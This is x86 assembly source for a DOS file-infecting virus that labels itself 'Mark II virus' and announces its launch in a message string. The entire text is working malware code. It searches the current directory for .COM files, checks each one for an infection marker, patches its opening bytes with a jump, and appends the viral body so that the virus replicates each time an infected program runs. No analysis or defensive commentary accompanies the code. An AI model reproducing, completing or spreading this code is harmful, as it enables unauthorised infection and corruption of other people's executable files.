PAGE,120

_VIRUS SEGMENT
ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS

ORG 100h

filelength EQU begin-start
start:	db 0E9h
	dw filelength+4-3
	mov cx,lmessage
	mov dx, OFFSET message
	mov ah, 40h
	int 21h
	mov ah,4Ch
	int 21h

message: db "Mark II virus launched successfully.",0Dh,0Ah,0
lmessage EQU $-message

virlength EQU finish-begin+102h

begin: 	db 0BBh,01,00
	db 00

virusbegin:	mov bp,101h
		mov bx, WORD PTR [bp]
		add bx,103h
		mov bp,100h
		mov dl,[bx-4]
		mov [bp],dl
		mov dl,[bx-3]
		mov [bp+1],dl
		mov dl,[bx-2]
		mov [bp+2],dl
		push bx

		jmp sfirst

wildcard:	db "*.COM",0

sfirst:	mov ah,4Eh
	pop dx
	push dx
	add dx,wildcard-virusbegin
	mov cx,0
	int 21h
	jnc over1
	jmp payload

over1:	mov bx,80h+1Ah
	mov ax,virlength
	add ax,[bx]
	jno checkinfect
	jmp snext

checkinfect:

fileopen:	mov ah,3Dh
		mov al,02
		mov dx,80h+1Eh
		int 21h
		jnc opened
		jmp snext

opened:	push ax
	mov ah,42h
	mov al,02
	pop bx
	push bx
	mov cx,0FFFFh
	mov dx,0FFFCh
	int 21h
	jnc over3
	jmp closefile

over3:	mov ah,3Fh
	pop bx
	pop dx
	push dx
	push bx
	add dx,-4
	mov cx,4
	int 21h
	jnc over4
	jmp closefile

over4:	pop bx
	pop bp
	push bp
	push bx
	mov bh,[bp-4]
	mov bl,[bp-3]
	xor bx,0001h
	jnz over5
over4a:	mov bh,[bp-2]
	mov bl,[bp-1]
	xor bx,0FFE0h
	jnz over5
	jmp closefile

over5:	mov ah,42h
	pop bx
	push bx
	mov al,00
	mov cx,0
	mov dx,0
	int 21h
	jnc over6
	jmp closefile

over6:	mov ah,3Fh
	pop bx
	pop dx
	push dx
	push bx
	add dx,-4
	mov cx,3
	int 21h
	mov al,0
	add dx,3
	mov bp,dx
	mov [bp],al
	mov ah,42h
	pop bx
	push bx
	mov al,00
	mov cx,0
	mov dx,0
	int 21h
	jnc past
	jmp closefile

tempbuf:	db 0E9h,0,0

past:	pop bx
	pop bp
	push bp
	push bx
	mov si,80h+1Ah
	mov ax,[si]
	xchg ah,al
	sahf
	xchg ah,al
	jnc noadd
	add ax,1

noadd:	add ax,1
	add bp,tempbuf-virusbegin
	mov [bp+1],al
	mov [bp+2],ah
	mov dx,bp
	mov ah,40h
	mov cx,3
	int 21h
	mov ah,42h
	mov al,02
	mov cx,0
	mov dx,0
	pop bx
	push bx
	int 21h
	mov bp,80h+1Ah
	mov ax,[bp]
	and ax,1
	jz skip
	mov ah,40h
	pop bx
	pop bp
	push bp
	push bx
	add bp,-1
	mov dx,bp
	mov cx,1
	mov [bp],ch
	int 21h

skip:	mov ah,40h
	mov cx,finish-begin
	pop bx
	pop dx
	push dx
	push bx
	add dx,-4
	int 21h
	pop bx
	mov ah,3Eh
	int 21h
	jmp payload

closefile:	pop bx
		mov ah,3Eh
		int 21h

snext:	mov ah,4Fh
	int 21h
	jc payload
	jmp fileopen

payload:	nop

		pop bp
		mov ax,100h
		jmp ax

finish:

_VIRUS ENDS
END start